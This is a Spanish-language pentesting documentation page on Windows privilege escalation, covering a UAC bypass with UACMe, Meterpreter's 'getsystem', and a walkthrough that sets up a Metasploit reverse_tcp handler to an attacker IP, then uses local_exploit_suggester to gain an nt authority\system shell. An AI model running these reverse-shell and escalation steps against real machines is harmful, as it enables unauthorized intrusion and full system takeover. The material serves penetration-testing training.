> For the complete documentation index, see [llms.txt](https://docs.pabloarrabal.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.pabloarrabal.com/escalada-de-privilegios/windows.md).

# Windows

## Bypassing UAC con UACMe

{% hint style="info" %}
El Control de Cuentas de Usuario (UAC) en Windows es una característica de seguridad que previene cambios no autorizados en el sistema. Cuando una acción requiere permisos administrativos, UAC solicita la confirmación del usuario mediante una ventana emergente. Esto ayuda a proteger contra malware y modificaciones no deseadas, asegurando que solo usuarios autorizados puedan realizar cambios críticos en el sistema.

![](https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FeRR4m0vS0JzySjgY9Vbe%2Fimage.png?alt=media\&token=9c5b467c-a701-42ba-b3fe-cdc8125042a9)
{% endhint %}

{% hint style="warning" %}
Para poder usar este método, necesitamos tener acceso a una cuenta que pertenezca al grupo de administradores locales de windows.

Para comprobarlo, podemos ejecutar los siguientes comandos:

```powershell
net users

net localgroup administrators
```

Ejemplo de un caso, en el que es viable este método:

![](https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FFnsarYwqU5ba0UvjkJIP%2Fimage.png?alt=media\&token=15b5f8b5-04ca-4ad8-80d4-c3efd983c218)
{% endhint %}

## Elevación automática con Metasploit

Cuando tenemos una consola meterpreter, podemos usar el comando "`getsystem`" para realizar una sencilla elevación de privilegios de manera automática:

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2Fzlqacu1ONzSE0bhmY4lB%2Fimage.png?alt=media&amp;token=709f6fd9-9422-4d91-995c-2d9a10e98eb9" alt=""><figcaption></figcaption></figure>

## Metasploit + Msfvenom&#x20;

Podemos escalar privilegios con metasploit en windows. En primer lugar deberemos de generar un payload con msfvenom ( [Msfvenom](/explotacion/msfvenom.md#reverse-shell-tcp-con-exe)) y pasarlo a nuestra maquina victima.

Después desde la maquina atacante, nos ponemos a la escucha con metasploit a través de multi/handler. Deberemos de ejecutar los siguientes comandos:

{% hint style="warning" %}
Los valores de los comandos de Metasploit deben ser lo mismos con los que se ha generado el payload en msfvenom (.exe) que está en la maquina victima
{% endhint %}

```bash
msfconsole

use /multi/handler

set LHOST 192.168.1.12    # IP Maquina atacante

set LPORT 4444 # Debe ser el mismo puerto que el que hemos puesto en el payload de msfvenom

set PAYLOAD windows/meterpreter/reverse_tcp # Debe ser el mismo que el que hemos puesto en el payload de msfvenom

run
```

Ahora ejecutamos el payload en la maquina victima y obtenemos una sesión de meterpreter:

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FroLy5Zsu9NLtpUCVOAON%2Fimage.png?alt=media&amp;token=caf59f0e-4be0-4796-b0c9-c5d3d05fc3b4" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
En muchos casos en los que nos encontramos con que tenemos una meterpreter ya en el sistema, podemos ejecutar el comando "`run post/multi/recon/local_exploit_suggester`" para poder enumerar potenciales exploits para la escalada.
{% endhint %}

Una vez en la sesión de meterpreter (NO EN LA CMD DE WINDOWS), ponemos "`background`" y "`search local_exploit_suggester`":

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FHPmyVMC3soyPvsJmudvY%2Fimage.png?alt=media&amp;token=413ae9ee-f2c6-495e-b7b3-79d6488ff6ba" alt=""><figcaption></figcaption></figure>

Esta opción nos dará el exploit más adecuado para la escalada, lo seleccionamos "`use 0`" y miramos las opciones que tiene. En este caso, nos pide el ID de la sesión de meterpreter:

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2Ff8e2PujkCT1GIStfeDPG%2Fimage.png?alt=media&amp;token=9ccc1fa2-7c53-4a2a-ab2d-676e79367937" alt=""><figcaption></figcaption></figure>

Ponemos el ID de la sesión (lo puedes averiguar con el comando "`sessions -l`"). Ejecutamos:

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FSCk1KFwx9esuwAruozU7%2Fimage.png?alt=media&amp;token=f55148d5-db78-4aec-9307-59d604382791" alt=""><figcaption></figcaption></figure>

Ahora, nos aparecerá una lista en colores verde y rojo. Los payloads de color rojo deberemos de omitirlos y centrarnos en los de verde.

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2F4xyl2AiyDmgAv1mIyNyg%2Fimage.png?alt=media&amp;token=20c67297-ef6c-4ca3-a4cc-6d738be7fcb3" alt=""><figcaption></figcaption></figure>

Cualquiera de estos podría funcionar (no está asegurado), usamos uno de ellos seleccionándolo:

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FudfwRPAjhxxj9tjEkQ7U%2Fimage.png?alt=media&amp;token=0fb94364-ac8c-4e87-8edc-63955147c2b3" alt=""><figcaption></figcaption></figure>

Ahora, ajustamos los valores necesarios ("`show options`"). Si el modulo funciona obtendremos una sesión de meterpreter en la que podremos abrir una shell ("`shell`") como `nt authority\system`. En el caso de que no funcione volvemos atrás ("`back`") y probamos con otro
